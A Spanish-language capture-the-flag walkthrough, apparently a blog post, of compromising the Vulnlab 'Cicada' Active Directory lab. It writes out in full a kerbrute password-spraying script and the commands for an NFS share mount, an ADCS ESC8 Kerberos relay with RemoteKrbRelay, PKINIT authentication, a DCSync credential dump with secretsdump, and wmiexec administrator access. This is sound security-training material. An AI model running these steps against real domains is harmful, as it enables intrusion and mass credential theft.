NMAP: Escaneo de Puertos y Servicios

Realizo un escaneo de puertos y enumeración de servicios, y como resultado, encuentro un servidor típico de Active Directory en Windows:

53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
111/tcp   open  rpcbind
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2049/tcp   open  nfs
3268/tcp   open  globalcatLDAP
3269/tcp   open  globalcatLDAPssl
3389/tcp   open  ms-wbt-server
5985/tcp   open  wsman

Domain: cicada.vl
DomainController: DC-JPQ225.cicada.vl

El dominio es cicada.vl y el domain controller es DC-JPQ225.cicada.vl. Los servicios más relevantes ya están expuestos, como Kerberos, LDAP, y el que más me interesa en este punto: NFS (Network File System).

FootHold

Explorando el Sistema con NFS | Network File System

Veo que el puerto 2049/tcp está open, lo que indica que el servicio NFS está activo. Chequeo con showmount para identificar recursos compartidos disponibles:

1	showmount -e 10.10.97.176

Identificamos un recurso llamado /profiles el cual voy a montar dentro de una carpeta local que creo llamada /nfs_profiles:

1 2	mkdir nfs_profiles sudo mount -t nfs -o rw 10.10.97.176:/profiles nfs_profiles

Chequeando el panorama con el comando tree:

Solo dos carpetas accesibles con contenido. Una pertenece al Administrator en el cual se puede ver una imagen que no nos aporta mucho. Sin embargo en la carpeta de Rosie.Powell podemos encontrar una imagen llamada marketing.png en la cual vamos a encontrar una contraseña:

1 2	sudo cp marketing.png /tmp/marketing.png sudo eog /tmp/marketing.png

Opción Alternativa: Fuerza Bruta con Kerbrute

Otro posible modo de obtener la contraseña de Rosie.Powell es bruteforceando, genero un wordlist customizado para intentar obtener la password con kerbrute ante los usuarios obtenidos en la carpeta del NFS:

#!/bin/bash

users="users.txt"
passwd="customPassword.txt"
DC="DC-JPQ225.cicada.vl"
domain="cicada.vl"

if [[ ! -f "$users" ]]; then
  echo "El archivo $users no existe."
  exit 1
fi

if [[ ! -f "$passwd" ]]; then
  echo "El archivo $passwd no existe."
  exit 1
fi


while read -r usuario; do
  echo "Checking user: $usuario@$domain"
  kerbrute bruteuser --dc "$DC" -d "$domain" "$passwd" "$usuario@$domain" -v

  if [[ $? -ne 0 ]]; then
    echo "Error:  $usuario@$domain"
  fi
  
  echo "Finished: $usuario@$domain"
  echo "-------------------------------------"

done < "$users"
echo "Finished"

Finalmente una de las contraseñas es valida para Rosie:

Esta claro que con la imagen es mas que suficiente y no nos tenemos que complicar de mas, pero siempre me gusta buscar caminos alternativos.

NetExec: Uso de las Credenciales de Rosie.Powell

Con las credenciales de Rosie.Powell, intento conectarme al dominio utilizando NetExec para ver si puedo obtener algo:

1	nxc smb cicada.vl -u 'rosie.powell' -p <REDACTED>

Pero automáticamente la respuesta es STATUS_NOT_SUPPORTED:

Esto se debe a que el dominio no acepta autenticacion mediante NTLM.
Pruebo con el flag -k, que indica que debe usar autenticación Kerberos:

1	nxc smb cicada.vl -u 'rosie.powell' -p <REDACTED> -k

Obtenemos un error de resolución de dominio. Pero lo resolvemos rapidamente apuntando al Domain Controller:

1	nxc smb DC-JPQ225.cicada.vl -u 'rosie.powell' -p <REDACTED> -k

Perdi bastante tiempo enumerando con bloodhound y demas tools asi que no voy a explicar esto aca, porque se haria muy extenso y no viene al caso, sin embargo sepan que tenemos la libertad de realizar consultas con herramientas como ldapsearch, Bofhound, Bloodhound, entre otras.

Puerto 80: Default IIS

Al revisar el servidor web en el puerto 80, me encuentro con la clásica página predeterminada de IIS, lo que a simple vista no parece ofrecer nada útil. Sin embargo, investigando un poco más, encuentro la ruta /certsrv/, y ahí es donde las cosas se ponen interesantes: ya que este path corresponde al ADCS Web Enrollment, un componente de Active Directory que permite a los usuarios solicitar certificados digitales.

Buscando certificados vulnerables con Certipy

Dado el hallazgo en /certsrv/, decido usar Certipy para automatizar la búsqueda de certificados vulnerables utilizando las credenciales de rosie.powell:

1	certipy find -u 'rosie.powell' -p '<REDACTED>' -dc-ip DC-JPQ225.cicada.vl -k -debug -ns 10.10.97.176

Chequeando el output de certipy detectó un supuesto ESC8:

La vulnerabilidad ESC8 surge cuando el servicio de Web Enrollment de Active Directory Certificate Services (ADCS) está habilitado y permite la emisión de certificados de forma insegura. Esto le da a un atacante la oportunidad de realizar un relay de la autenticación de una máquina privilegiada (por ejemplo, un controlador de dominio) hacia la Autoridad de Certificación (CA). A través de este relay, es posible obtener un certificado emitido a nombre del controlador de dominio, lo que permitiría suplantar su identidad y autenticar servicios de red con privilegios elevados.

Nota:
En teoría, hacer un relay de vuelta hacia la misma máquina (self-relay) no debería ser posible debido a las mitigaciones implementadas hace un tiempo. Estas protecciones están diseñadas para bloquear la retransmisión de credenciales autenticadas hacia el mismo servidor o máquina de origen, algo que antes era explotado para ganar acceso no autorizado. Sin embargo, como veremos más adelante, es posible bypassear estas mitigaciones.

Por un panorama general sobre ESC8 y similares, te recomiendo revisar este artículo: https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8

Teniendo en cuenta esto, y siguiendo la HINT oficial de Vulnlab:

Llego a algunos researchs recientes que demuestran que es posible bypassear estas protecciones y realizar un relay, específicamente en nuestro contexto de Kerberos y no NTLM.

References:

CICADA8 | RemoteKrbRelay

Aca es donde entra en juego la siguiente tool: RemoteKrbRelay. https://github.com/CICADA8-Research/RemoteKrbRelay

Esta tool es una maravilla, simplifica los ataques de relay de Kerberos de forma remota y automatizo todo!. Esta herramienta permite interceptar y reenviar tickets de Kerberos, explotando vulnerabilidades en el proceso de autenticación.

Debido a que de momento es funcional solo desde Windows, voy a setear una maquina en VirtualBox de un Windows 11.

Machine Account Quota (MAQ)

Antes de proceder con el ataque, es fundamental verificar la Machine Account Quota (MAQ). Con las credenciales de Rosie.Powell, chequear este valor es sencillo. El MAQ define cuántas cuentas de máquina un usuario regular puede crear en el dominio, lo que nos permitirá unir la máquina al dominio:

1	nxc ldap cicada.vl -u "rosie.powell" -p "<REDACTED>" -M maq -k

El resultado nos dice que el Machine Account Quota es de 10. Esto significa que cualquier usuario autenticado en el dominio, (nuestro caso Rosie.Powell), puede crear hasta 10 cuentas de computadora en el dominio. Esta es una oportunidad clave para unir la VM que levantamos atacante al dominio cicada.vl y continuar con el ataque utilizando RemoteKrbRelay.exe.

Uniendo la Windows VM al Domain: cicada.vl

Para llevar a cabo el ataque, primero es necesario unir la VM de Windows 11 al dominio cicada.vl. En mi caso, este es el setup que configuré:

Modo Bridge en la máquina virtual, lo que permite que la VM tenga su propia dirección IP en la misma red que la máquina host.
Conexión a la plataforma de Vulnlab a través de OpenVPN, directamente desde la VM de Windows.
Un aspecto importante en este contexto es la configuración del DNS en el adaptador de OpenVPN. Es necesario que el DNS apunte a la IP del Domain Controller (DC) para asegurar que la máquina pueda resolver correctamente los nombres de dominio dentro de la red de cicada.vl.
IPV6 debe estar Habilitado a pesar de que no es utilizado.

Una ultima aclaración, en mi caso, enfrenté un problema relacionado con la prioridad de los adaptadores de red en Windows. (Quizas haya alguna solución diferente o mas fácil, en mi caso esta fue funcional). A pesar de configurar correctamente el DNS, el sistema resolvía primero a través del adaptador Ethernet, y no el de OpenVPN, lo que me generaba dolores de cabeza.

Para solucionarlo, tuve que ajustar las métricas de los adaptadores de red. Asigné un valor más bajo al adaptador de OpenVPN y un valor más alto al de Ethernet. Cuanto más bajo es el valor, mayor prioridad se le da al adaptador, lo que permitió que OpenVPN resolviera los dominios correctamente y evitara los problemas de conectividad.

RemoteKrbRelay

Con la VM unida al dominio cicada.vl y todo el setup configurado correctamente, procedo a lanzar el ataque utilizando RemoteKrbRelay. El objetivo es explotar la vulnerabilidad detectada en el servicio de ADCS Web Enrollment y realizar un Kerberos relay para obtener un certificado emitido a nombre del controlador de dominio.

1	RemoteKrbRelay.exe -adcs -template DomainController -victim dc-jpq225.cicada.vl -target dc-jpq225.cicada.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3

Finalmente obtenemos el certificado PKCS12:

Dejamos la VM de lado y vuelvo a mi linux para continuar con los pasos finales.

Guardando el Certificado PKCS12 y Autenticación con PKINIT

1	echo "MIACAQMwgAYJK............" \|base64 -d >dc.p12

A continuación, uso Certipy para autenticarme vía PKINIT con el certificado:

1 2	certipy auth -pfx dc.p12 -dc-ip 10.10.97.176 -domain cicada.vl export KRB5CCNAME=dc-jpq225.ccache

Con el ticket obtenido y los privilegios elevados, puedo ejecutar el ataque de DCSync usando secretsdump.py de Impacket y dumpearemos todo:

1	secretsdump.py -k -no-pass cicada.vl/dc-jpq225\$@cicada[email protected] -just-dc

ROOT

1
2
3

getTGT.py cicada.vl/Administrator -aesKey <REDACTED> -dc-ip 10.10.97.176
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass [email protected]

Special thanks to xct and Vulnlab.

Saludos, Gracias.